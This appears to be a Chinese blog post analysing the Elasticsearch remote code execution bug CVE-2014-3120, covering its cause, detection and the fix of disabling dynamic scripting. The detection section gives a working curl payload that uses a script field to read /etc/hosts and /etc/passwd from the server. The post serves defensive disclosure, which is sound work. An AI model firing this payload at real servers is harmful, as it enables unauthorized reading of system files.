ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理

这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。

ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。

其实官方是清楚这个漏洞的,在文档里有说明:

First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween. 


检测方法

在线检测:

http://tool.scanv.com/es.html          可以检测任意地址

http://bouk.co/blog/elasticsearch-rce/poc.html   只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上

自己手动检测:

curl -XPOST 'http://localhost:9200/_search?pretty' -d '
{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "/etc/hosts": {
      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"
    },
    "/etc/passwd": {
      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"
    }
  }
}
'

处理办法

关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上:

script.disable_dynamic: true

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

官方会在1.2版本默认关闭动态脚本。

https://github.com/elasticsearch/elasticsearch/issues/5853

参考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

http://bouk.co/blog/elasticsearch-rce/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值